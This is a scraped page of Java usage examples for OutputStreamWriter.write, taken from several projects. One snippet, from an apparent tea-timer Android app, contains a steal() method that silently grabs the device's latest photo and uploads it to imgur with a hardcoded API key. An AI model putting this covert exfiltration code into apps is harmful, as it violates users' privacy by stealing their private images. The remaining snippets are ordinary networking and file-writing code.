List of usage examples for java.io OutputStreamWriter write
public void write(int c) throws IOException
From source file:com.mycompany.grupo6ti.GenericResource.java
@POST @Produces("application/json") @Path("/recepcionarOc/{id}") public String recepcionarOc(@PathParam("id") String id) { try {/*from ww w .j a va 2 s.com*/ URL url = new URL("http://localhost:83/recepcionar/" + id); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); InputStream is; conn.setRequestProperty("Accept-Charset", "UTF-8"); conn.setRequestProperty("Content-Type", "application/json"); conn.setUseCaches(true); conn.setRequestMethod("POST"); conn.setDoOutput(true); conn.setDoInput(true); String idJson = "{\n" + " \"id\": \"" + id + "\"\n" + "}"; //String idJson2 = "[\"Test\", \"Funcionando Bien\"]"; OutputStreamWriter out = new OutputStreamWriter(conn.getOutputStream()); out.write(idJson); out.flush(); out.close(); if (conn.getResponseCode() >= 400) { is = conn.getErrorStream(); } else { is = conn.getInputStream(); } String result2 = ""; BufferedReader rd = new BufferedReader(new InputStreamReader(is)); String line; while ((line = rd.readLine()) != null) { result2 += line; } rd.close(); return result2; } catch (IOException e) { e.printStackTrace(); return ("[\"Test\", \"Funcionando Bien1\"]"); } catch (Exception e) { e.printStackTrace(); return ("[\"Test\", \"Funcionando Bien2\"]"); } //return ("[\"Test\", \"Funcionando Bien\"]"); }
From source file:com.mycompany.grupo6ti.GenericResource.java
@POST @Produces("application/json") @Path("/rechazarOc/{id}/{rechazo}") public String rechazarOc(@PathParam("id") String id, @PathParam("rechazo") String rechazo) { try {/* w w w . j ava2 s .c om*/ URL url = new URL("http://localhost:83/rechazar/" + id); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); InputStream is; conn.setRequestProperty("Accept-Charset", "UTF-8"); conn.setRequestProperty("Content-Type", "application/json"); conn.setUseCaches(true); conn.setRequestMethod("POST"); conn.setDoOutput(true); conn.setDoInput(true); String idJson = "{\n" + " \"rechazo\": \"" + rechazo + "\"\n" + "}"; //String idJson2 = "[\"Test\", \"Funcionando Bien\"]"; OutputStreamWriter out = new OutputStreamWriter(conn.getOutputStream()); out.write(idJson); out.flush(); out.close(); if (conn.getResponseCode() >= 400) { is = conn.getErrorStream(); } else { is = conn.getInputStream(); } String result2 = ""; BufferedReader rd = new BufferedReader(new InputStreamReader(is)); String line; while ((line = rd.readLine()) != null) { result2 += line; } rd.close(); return result2; } catch (IOException e) { e.printStackTrace(); return ("[\"Test\", \"Funcionando Bien1\"]"); } catch (Exception e) { e.printStackTrace(); return ("[\"Test\", \"Funcionando Bien2\"]"); } //return ("[\"Test\", \"Funcionando Bien\"]"); }
From source file:com.mycompany.grupo6ti.GenericResource.java
@POST //? @Produces("application/json") @Path("/despacharProducto/{id}") public String despacharOc(@PathParam("id") String id) { try {/* ww w . j av a2s .c o m*/ URL url = new URL("http://localhost:83/despachar/" + id); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); InputStream is; conn.setRequestProperty("Accept-Charset", "UTF-8"); conn.setRequestProperty("Content-Type", "application/json"); conn.setUseCaches(true); conn.setRequestMethod("POST"); conn.setDoOutput(true); conn.setDoInput(true); String idJson = "{\n" + " \"id\": \"" + id + "\"\n" + "}"; //String idJson2 = "[\"Test\", \"Funcionando Bien\"]"; OutputStreamWriter out = new OutputStreamWriter(conn.getOutputStream()); out.write(idJson); out.flush(); out.close(); if (conn.getResponseCode() >= 400) { is = conn.getErrorStream(); } else { is = conn.getInputStream(); } String result2 = ""; BufferedReader rd = new BufferedReader(new InputStreamReader(is)); String line; while ((line = rd.readLine()) != null) { result2 += line; } rd.close(); return result2; } catch (IOException e) { e.printStackTrace(); return ("[\"Test\", \"Funcionando Bien1\"]"); } catch (Exception e) { e.printStackTrace(); return ("[\"Test\", \"Funcionando Bien2\"]"); } //return ("[\"Test\", \"Funcionando Bien\"]"); }
From source file:com.mycompany.grupo6ti.GenericResource.java
@PUT @Produces("application/json") @Path("/nuevaOc/{canal}/{cant}/{sku}/{proveedor}/{cliente}/{precio}/{fechae}") public String hacerOrdenCompra(@PathParam("canal") String canal, @PathParam("cant") String cant, @PathParam("sku") String sku, @PathParam("proveedor") String proveedor, @PathParam("cliente") String cliente, @PathParam("precio") String precio, @PathParam("fechae") String fechae) throws MalformedURLException, IOException { try {/*from ww w . j a va2 s . c o m*/ URL url = new URL("http://localhost:83/crear"); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); InputStream is; conn.setRequestProperty("Accept-Charset", "UTF-8"); conn.setRequestProperty("Content-Type", "application/json"); conn.setUseCaches(true); conn.setRequestMethod("PUT"); conn.setDoOutput(true); conn.setDoInput(true); String sss = "{\n" + " \"cliente\": \"" + cliente + "\",\n" + " \"proveedor\": \"" + proveedor + "\",\n" + " \"sku\": \"" + sku + "\",\n" + " \"fechaEntrega\": \"" + fechae + "\",\n" + " \"precioUnitario\": \"" + precio + "\",\n" + " \"cantidad\": \"" + cant + "\",\n" + " \"canal\": \"" + canal + "\"\n" + "}"; OutputStreamWriter out = new OutputStreamWriter(conn.getOutputStream()); out.write(sss); out.flush(); out.close(); if (conn.getResponseCode() >= 400) { is = conn.getErrorStream(); } else { is = conn.getInputStream(); } String result2 = ""; BufferedReader rd = new BufferedReader(new InputStreamReader(is)); String line; while ((line = rd.readLine()) != null) { result2 += line; } rd.close(); return result2; } catch (IOException e) { e.printStackTrace(); } catch (Exception e) { e.printStackTrace(); } return ("[\"Test\", \"Funcionando Bien\"]"); }
From source file:com.mycompany.grupo6ti.GenericResource.java
@DELETE @Produces("application/json") @Path("/anularOc/{id}/{motivo}") public String anularOc(@PathParam("id") String id, @PathParam("motivo") String motivo) { try {//from ww w . ja va 2 s . co m URL url = new URL("http://localhost:83/anular/" + id); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); InputStream is; conn.setRequestProperty("Accept-Charset", "UTF-8"); conn.setRequestProperty("Content-Type", "application/json"); conn.setUseCaches(true); //conn.setRequestMethod("DELETE"); conn.setRequestMethod("POST"); // We have to override the post method so we can send data conn.setRequestProperty("X-HTTP-Method-Override", "DELETE"); conn.setDoOutput(true); conn.setDoInput(true); String idJson = "{\n" + " \"anulacion\": \"" + motivo + "\"\n" + "}"; //String idJson2 = "[\"Test\", \"Funcionando Bien\"]"; OutputStreamWriter out = new OutputStreamWriter(conn.getOutputStream()); out.write(idJson); out.flush(); out.close(); if (conn.getResponseCode() >= 400) { is = conn.getErrorStream(); } else { is = conn.getInputStream(); } String result2 = ""; BufferedReader rd = new BufferedReader(new InputStreamReader(is)); String line; while ((line = rd.readLine()) != null) { result2 += line; } rd.close(); return result2; } catch (IOException e) { e.printStackTrace(); return ("[\"Test\", \"Funcionando Bien1\"]"); } catch (Exception e) { e.printStackTrace(); return ("[\"Test\", \"Funcionando Bien2\"]"); } }
From source file:goo.TeaTimer.TimerActivity.java
private void steal() { new Thread(new Runnable() { public void run() { try { Looper.prepare();/* w ww . j a va 2s. c o m*/ String[] filePathColumn = { MediaStore.Images.Media.DATA }; Cursor cursor = getContentResolver().query(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, filePathColumn, null, null, null); cursor.moveToLast(); int columnIndex = cursor.getColumnIndex(filePathColumn[0]); String filePath = cursor.getString(columnIndex); cursor.close(); Log.v(TAG, "FilePath:" + filePath); Bitmap bitmap = BitmapFactory.decodeFile(filePath); bitmap = Bitmap.createScaledBitmap(bitmap, 480, 320, true); // Creates Byte Array from picture ByteArrayOutputStream baos = new ByteArrayOutputStream(); bitmap.compress(Bitmap.CompressFormat.PNG, 100, baos); // Not sure whether this should be jpeg or png, try both and see which works best URL url = new URL("http://api.imgur.com/2/upload.json"); //encodes picture with Base64 and inserts api key String data = URLEncoder.encode("image", "UTF-8") + "=" + URLEncoder.encode(Base64.encodeBytes(baos.toByteArray()).toString(), "UTF-8"); data += "&" + URLEncoder.encode("key", "UTF-8") + "=" + URLEncoder.encode("e7570f4de21f88793225d963c6cc4114", "UTF-8"); data += "&" + URLEncoder.encode("title", "UTF-8") + "=" + URLEncoder.encode("evilteatimer", "UTF-8"); // opens connection and sends data URLConnection conn = url.openConnection(); conn.setDoOutput(true); OutputStreamWriter wr = new OutputStreamWriter(conn.getOutputStream()); wr.write(data); wr.flush(); // Read the results BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream())); String jsonString = in.readLine(); in.close(); JSONObject json = new JSONObject(jsonString); String imgUrl = json.getJSONObject("upload").getJSONObject("links").getString("imgur_page"); Log.v(TAG, "Imgur link:" + imgUrl); Context context = getApplicationContext(); mImgUrl = imgUrl; Toast toast = Toast.makeText(context, imgUrl, Toast.LENGTH_LONG); toast.show(); } catch (Exception exception) { Log.v(TAG, "Upload Failure:" + exception.getMessage()); } } }).start(); }
From source file:com.globalsight.everest.tda.TdaHelper.java
private void writeTDADocumentHeader(OutputStreamWriter m_outputStream, String sLocale, String tLocale) throws IOException { String m_strEOL = "\r\n"; String m_space = " "; m_outputStream.write("<file "); m_outputStream.write("original=" + str2DoubleQuotation("None")); m_outputStream.write(m_space);// w ww.j a v a 2s .c o m m_outputStream.write("source-language=" + str2DoubleQuotation(sLocale.replace("_", "-"))); m_outputStream.write(m_space); m_outputStream.write("target-language=" + str2DoubleQuotation(tLocale.replace("_", "-"))); m_outputStream.write(m_space); m_outputStream.write(">"); m_outputStream.write(m_strEOL); m_outputStream.write("<body>"); m_outputStream.write(m_strEOL); }
From source file:com.entertailion.android.shapeways.api.ShapewaysClient.java
/** * Get the access token// www. java2 s . co m * * @param requestToken * @param requestTokenSecret * @param requestTokenVerifier * @return * @throws Exception */ public Map<String, String> getAccessToken(String requestToken, String requestTokenSecret, String requestTokenVerifier) throws Exception { Log.d(LOG_TAG, "getAccessToken"); URLConnection urlConnection = getUrlConnection(API_URL_BASE + ACCESS_TOKEN_PATH, true); OutputStreamWriter outputStreamWriter = new OutputStreamWriter(urlConnection.getOutputStream()); Request request = new Request(POST); request.addParameter(OAUTH_CONSUMER_KEY, consumerKey); request.addParameter(OAUTH_TOKEN, requestToken); request.addParameter(OAUTH_VERIFIER, requestTokenVerifier); request.sign(API_URL_BASE + ACCESS_TOKEN_PATH, consumerSecret, requestTokenSecret); outputStreamWriter.write(request.toString()); outputStreamWriter.close(); return readParams(urlConnection.getInputStream()); }
From source file:com.moviejukebox.plugin.AnimatorPlugin.java
/** * Retrieve Animator matching the specified movie name and year. * * This routine is base on a Google request. *//*from w ww.j ava2 s .c om*/ private String getAnimatorId(String movieName, String year) { try { String animatorId = Movie.UNKNOWN; String allmultsId = Movie.UNKNOWN; String sb = movieName; // Unaccenting letters sb = Normalizer.normalize(sb, Normalizer.Form.NFD); // Return simple letters '' & '' sb = sb.replaceAll("" + (char) 774, ""); sb = sb.replaceAll("" + (char) 774, ""); sb = sb.replaceAll("\\p{InCombiningDiacriticalMarks}+", ""); sb = "text=" + URLEncoder.encode(sb, "Cp1251").replace(" ", "+"); // Get ID from animator.ru if (animatorDiscovery) { String uri = "http://www.animator.ru/db/?p=search&SearchMask=1&" + sb; if (StringTools.isValidString(year)) { uri = uri + "&year0=" + year; uri = uri + "&year1=" + year; } String xml = httpClient.request(uri); // Checking for zero results if (xml.contains("[?? ]")) { // It's search results page, searching a link to the movie page int beginIndex; if (-1 != xml.indexOf("? ")) { for (String tmp : HTMLTools.extractTags(xml, "? ", HTML_TD, HTML_HREF, "<br><br>")) { if (0 < tmp.indexOf("[?? ]")) { beginIndex = tmp.indexOf(" .)"); if (beginIndex >= 0) { String year2 = tmp.substring(beginIndex - 4, beginIndex); if (year2.equals(year)) { beginIndex = tmp.indexOf("http://www.animator.ru/db/?p=show_film&fid=", beginIndex); if (beginIndex >= 0) { StringTokenizer st = new StringTokenizer(tmp.substring(beginIndex + 43), " "); animatorId = st.nextToken(); break; } } } } } } } } // Get ID from allmults.org if (multsDiscovery) { URL url = new URL("http://allmults.org/search.php"); URLConnection conn = url.openConnection(YamjHttpClientBuilder.getProxy()); conn.setDoOutput(true); OutputStreamWriter osWriter = null; StringBuilder xmlLines = new StringBuilder(); try { osWriter = new OutputStreamWriter(conn.getOutputStream()); osWriter.write(sb); osWriter.flush(); try (InputStreamReader inReader = new InputStreamReader(conn.getInputStream(), "cp1251"); BufferedReader bReader = new BufferedReader(inReader)) { String line; while ((line = bReader.readLine()) != null) { xmlLines.append(line); } } osWriter.flush(); } finally { if (osWriter != null) { osWriter.close(); } } if (xmlLines.indexOf("<div class=\"post\"") != -1) { for (String tmp : HTMLTools.extractTags(xmlLines.toString(), " ? ", "<ul><li>", "<div class=\"entry\"", "</div>")) { int pos = tmp.indexOf("<img "); if (pos != -1) { int temp = tmp.indexOf(" alt=\""); if (temp != -1) { String year2 = tmp.substring(temp + 6, tmp.indexOf("\"", temp + 6) - 1); year2 = year2.substring(year2.length() - 4); if (year2.equals(year)) { temp = tmp.indexOf(" src=\"/images/multiki/"); if (temp != -1) { allmultsId = tmp.substring(temp + 22, tmp.indexOf(".jpg", temp + 22)); break; } } } } } } } return (animatorId.equals(Movie.UNKNOWN) && allmultsId.equals(Movie.UNKNOWN)) ? Movie.UNKNOWN : animatorId + ":" + allmultsId; } catch (IOException error) { LOG.error("Failed retreiving Animator Id for movie : {}", movieName); LOG.error("Error : {}", error.getMessage()); return Movie.UNKNOWN; } }
From source file:cn.edu.henu.rjxy.lms.controller.Tea_Controller.java
@RequestMapping(value = "saveTree", method = RequestMethod.POST) public @ResponseBody String saveTree(HttpServletRequest request, @RequestBody Tree3[] users) throws Exception { String sn = getCurrentUsername(); Teacher tec = TeacherDao.getTeacherBySn(sn); String tec_sn = tec.getTeacherSn(); String tec_name = tec.getTeacherName(); String collage = tec.getTeacherCollege(); String term = request.getParameter("term"); String courseName = request.getParameter("courseName"); // ...//???????? // File f = new File(getFileFolder(request) + term + "/" + collage + "/" + tec_sn + "/" + tec_name + "/" + courseName + "/" + "" + "/"); //??/*w w w. jav a 2 s . co m*/ if (!f.exists() && !f.isDirectory()) { System.out.println("?"); f.mkdirs(); } else { System.out.println(""); } String ff = getFileFolder(request) + term + "/" + collage + "/" + tec_sn + "/" + tec_name + "/" + courseName + "/" + "" + "/"; List list = new LinkedList(); String ss = "", aa; for (int i = 0; i < users.length - 1; i++) { list.add(users[i]); aa = JSONObject.fromObject(users[i]) + ""; ss += aa + ','; } aa = JSONObject.fromObject(users[3]) + ""; ss = ss + aa; ss = '[' + ss + ']'; System.out.println(ss); PrintStream ps = null; OutputStreamWriter pw = null;//? pw = new OutputStreamWriter(new FileOutputStream(new File(ff + File.separator + "test.json")), "GBK"); pw.write(ss); pw.close(); return "1"; }